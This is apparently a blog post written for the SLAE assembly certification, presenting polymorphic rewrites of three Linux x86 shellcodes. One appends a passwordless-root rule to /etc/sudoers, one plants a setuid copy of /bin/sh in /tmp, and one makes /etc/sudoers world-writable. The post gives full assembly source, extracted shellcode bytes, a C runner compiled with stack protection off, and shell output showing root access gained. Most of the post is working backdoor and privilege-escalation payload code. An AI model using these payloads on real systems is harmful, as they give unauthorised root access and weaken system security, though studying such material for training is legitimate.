The next assignment for the SLAE is taking existing shellcode from shell-storm or exploit-db and making polymorphic versions for three of them.
edit /etc/sudoers with ALL ALL=(ALL) NOPASSWD: ALL
The first shellcode I decided to tackle polymorphism on is shellcode for adding ALL ALL=(ALL) NOPASSWD: ALL to /etc/sudoers. Original shellcode can be found here:
http://shell-storm.org/shellcode/files/shellcode-62.php
To better understand the shellcode I decided to put it through a debugger and to my surprise the shellcode actually doesn’t work at all. This is because the original shellcode doesn’t clear out registers in preparation of the syscalls.
In GDB below after the MOV dl, 0x1c instruction is called:
[----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x3 ECX: 0xbffff5fc ("ALL ALL=(ALL) NOPASSWD: ALL\n") EDX: 0xb7fbf81c --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xbffff658 --> 0x0 ESP: 0xbffff5fc ("ALL ALL=(ALL) NOPASSWD: ALL\n") EIP: 0x804a088 --> 0x80cd04b0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804a07f <code+63>: push 0x204c4c41 0x804a084 <code+68>: mov ecx,esp 0x804a086 <code+70>: mov dl,0x1c => 0x804a088 <code+72>: mov al,0x4 0x804a08a <code+74>: int 0x80 0x804a08c <code+76>: mov al,0x6 0x804a08e <code+78>: int 0x80 0x804a090 <code+80>: xor ebx,ebx You can see that EDX contains more than just 0x1c which causes the write() to fail.
The exit call suffers the same issue after doing a MOV al, 0x1.
[----------------------------------registers-----------------------------------] EAX: 0xffffff01 EBX: 0x0 ECX: 0xbffff5fc ("ALL ALL=(ALL) NOPASSWD: ALL\n") EDX: 0xb7fbf81c --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xbffff658 --> 0x0 ESP: 0xbffff5fc ("ALL ALL=(ALL) NOPASSWD: ALL\n") EIP: 0x804a094 --> 0x80cd EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804a08e <code+78>: int 0x80 0x804a090 <code+80>: xor ebx,ebx 0x804a092 <code+82>: mov al,0x1 => 0x804a094 <code+84>: int 0x80 0x804a096 <code+86>: add BYTE PTR [eax],al 0x804a098: add BYTE PTR [eax],al 0x804a09a: add BYTE PTR [eax],al 0x804a09c: add BYTE PTR [eax],al We can see EAX is populated 0xffffff01 which results in a seg fault when the interrupt is ran.
So all in all, the shellcode is fairly useless.
For the polymorphic and working version of the shellcode I’ve used the JMP CALL POP technique for getting the string to be written on the stack. The shellcode is also register independent, null free, and smaller than the original that didn’t work (decreased from 86 bytes to 79 bytes).
My shellcode has also been published to Exploit-DB here: https://www.exploit-db.com/exploits/44507/
global _start section .text _start: xor edx, edx; clear edx xor ecx, ecx; clear ecx push edx; terminating NULL push 0x7372656f ; "sreo" push 0x6475732f; "dus/" push 0x6374652f; "cte/" mov ebx, esp; point ebx to stack inc ecx; ecx to 1 mov ch, 0x4; ecx to 401 O_WRONLY | O_APPEND push 0x5; open() pop eax int 0x80; execute open xchg ebx, eax; save fd in ebx jmp short setup write: pop ecx; pop "ALL ALL=(ALL) NOPASSWD: ALL" mov dl, 0x1c; len 28 push 0x4; write() pop eax int 0x80; execute write push 0x1; exit () pop eax int 0x80 setup: call write db "ALL ALL=(ALL) NOPASSWD: ALL" , 0xa Let’s test by compiling and extracting the shellcode.
root@ubuntu:~/SLAE/assignments/6$ ./compile.sh editsudoers_jmp [+] Assembling with Nasm ... [+] Linking ... [+] Done! root@ubuntu:~/SLAE/assignments/6# for i in $(objdump -d editsudoers_jmp |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo \x31\xd2\x31\xc9\x52\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\x6a\x05\x58\xcd\x80\x93\xeb\x0d\x59\xb2\x1c\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xee\xff\xff\xff\x41\x4c\x4c\x20\x41\x4c\x4c\x3d\x28\x41\x4c\x4c\x29\x20\x4e\x4f\x50\x41\x53\x53\x57\x44\x3a\x20\x41\x4c\x4c\x0a C wrapper:
#include<stdio.h> #include<string.h> unsigned char code[] = \ "\x31\xd2\x31\xc9\x52\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\x6a\x05\x58\xcd\x80\x93\xeb\x0d\x59\xb2\x1c\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xee\xff\xff\xff\x41\x4c\x4c\x20\x41\x4c\x4c\x3d\x28\x41\x4c\x4c\x29\x20\x4e\x4f\x50\x41\x53\x53\x57\x44\x3a\x20\x41\x4c\x4c\x0a"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } Compile without stack protection.
root@ubuntu:~/SLAE/assignments/6# gcc shellcode.c -o shellcode -fno-stack-protector -z execstack And finally test.
root@ubuntu:~/SLAE/assignments/6# ./shellcode Shellcode Length: 79 root@ubuntu:~/SLAE/assignments/6# cat /etc/sudoers # # This file MUST be edited with the 'visudo' command as root. # # Please consider adding local content in /etc/sudoers.d/ instead of # directly modifying this file. # # See the man page for details on how to write a sudoers file. # Defaults env_reset Defaults mail_badpass Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" # Host alias specification # User alias specification # Cmnd alias specification # User privilege specification root ALL=(ALL:ALL) ALL # Members of the admin group may gain root privileges %admin ALL=(ALL) ALL # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # See sudoers(5) for more information on "#include" directives: #includedir /etc/sudoers.d ALL ALL=(ALL) NOPASSWD: ALL We can see the file has been successfully appended, so we should be able to sudo now without a password. Let’s test with our non-root user.
absolomb@ubuntu:~$ sudo bash root@ubuntu:~# Perfect!
cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh
The next shellcode on the menu is shellcode that copies /bin/sh into /tmp and sets the setuid bit on it.
Original shellcode here: http://shell-storm.org/shellcode/files/shellcode-540.php
I decided to start from scratch here and simplify things significantly in comparison to the original shellcode. Once again the JMP CALL POP technique was used, but this time for getting the commmand to be ran onto the stack. Original shellcode for this one was 126 bytes, mine accomplishes the same thing at 74 bytes.
My shellcode has also been published to Exploit-DB here: https://www.exploit-db.com/exploits/44510/
global _start section .text _start: push 0xb; execve() pop eax; cdq ; set edx to 0 push edx; NULL push word 0x632d; "c-" mov edi,esp; point edi to stack push edx; NULL push 0x68732f2f; "hs//" push 0x6e69622f; "/bin" mov ebx,esp; point ebx to stack push edx; NULL jmp short cmd execute: push edi; "c-" push ebx; "/bin/sh" mov ecx,esp; point to stack int 0x80; execute execve cmd: call execute db "cp /bin/sh /tmp/sh; chmod +s /tmp/sh" Compile and test.
absolomb@ubuntu:~/SLAE/assignments/6$ ./compile.sh execve [+] Assembling with Nasm ... [+] Linking ... [+] Done! absolomb@ubuntu:~/SLAE/assignments/6$ for i in $(objdump -d execve |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo \x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\xeb\x06\x57\x53\x89\xe1\xcd\x80\xe8\xf5\xff\xff\xff\x63\x70\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x73\x68\x3b\x20\x63\x68\x6d\x6f\x64\x20\x2b\x73\x20\x2f\x74\x6d\x70\x2f\x73\x68 Place shellcode in a C wrapper (same as above) and compile with GCC.
absolomb@ubuntu:~/SLAE/assignments/6$ gcc setuid.c -o setuid -fno-stack-protector -z execstack Now run to test.
absolomb@ubuntu:~/SLAE/assignments/6$ sudo ./setuid Shellcode Length: 74 absolomb@ubuntu:~/SLAE/assignments/6$ ls -al /tmp total 144 drwxrwxrwt 7 root root 4096 Apr 20 10:08 . drwxr-xr-x 22 root root 4096 Mar 19 16:33 .. -rw------- 1 absolomb absolomb 0 Apr 20 06:28 config-err-o7e65E drwxrwxrwt 2 root root 4096 Apr 20 06:28 .ICE-unix -rwsr-sr-x 1 root absolomb 112204 Apr 20 10:09 sh -rw-rw-r-- 1 absolomb absolomb 0 Apr 20 06:28 unity_support_test.0 drwx------ 2 absolomb absolomb 4096 Apr 20 06:28 vmware-absolomb drwxrwxrwt 2 root root 4096 Apr 20 06:28 VMwareDnD drwx------ 2 root root 4096 Apr 20 06:57 vmware-root -r--r--r-- 1 root root 11 Apr 20 06:28 .X0-lock drwxrwxrwt 2 root root 4096 Apr 20 06:28 .X11-unix Our shell is indeed in /tmp with a root setuid.
absolomb@ubuntu:~/SLAE/assignments/6$ id uid=1000(absolomb) gid=1000(absolomb) groups=1000(absolomb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare) absolomb@ubuntu:~/SLAE/assignments/6$ /tmp/sh # id uid=1000(absolomb) gid=1000(absolomb) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(absolomb) Success!
chmod 777 /etc/sudoers
For the last shellcode I decided to tackle something a little smaller and just made minor tweaks to the existing shellcode found here:
https://www.exploit-db.com/exploits/43463/
The original shellcode was at 36 bytes and I reduced it down to 33 bytes by removing XOR instructions and replacing with CDQ and by PUSH and POPs to accomplish the same thing.
global _start section .text _start: cdq ; edx to 0 push edx ; terminating NULL push 0x7372656f ; 'sreo' push 0x6475732f ; 'dus/' push 0x6374652f ; 'cte/' mov ebx, esp ; point ebx to stack mov cx, 0x1ff ; 777 push 0xf ; chmod() pop eax int 0x80 ; execute chmod() push 0x1 ; exit() pop eax int 0x80 ; execute exit() Let’s compile and test (you know the drill by now).
absolomb@ubuntu:~/SLAE/assignments/6$ ./compile.sh chmod [+] Assembling with Nasm ... [+] Linking ... [+] Done! absolomb@ubuntu:~/SLAE/assignments/6$ for i in $(objdump -d chmod |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo \x99\x52\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\xff\x01\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80 absolomb@ubuntu:~/SLAE/assignments/6$ vim shellcode.c absolomb@ubuntu:~/SLAE/assignments/6$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstack absolomb@ubuntu:~/SLAE/assignments/6$ sudo ./shellcode Shellcode Length: 33 absolomb@ubuntu:~/SLAE/assignments/6$ ls -al /etc/sudoers -rwxrwxrwx 1 root root 745 Feb 10 2014 /etc/sudoers All done!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1208
Github Repo: https://github.com/absolomb/SLAE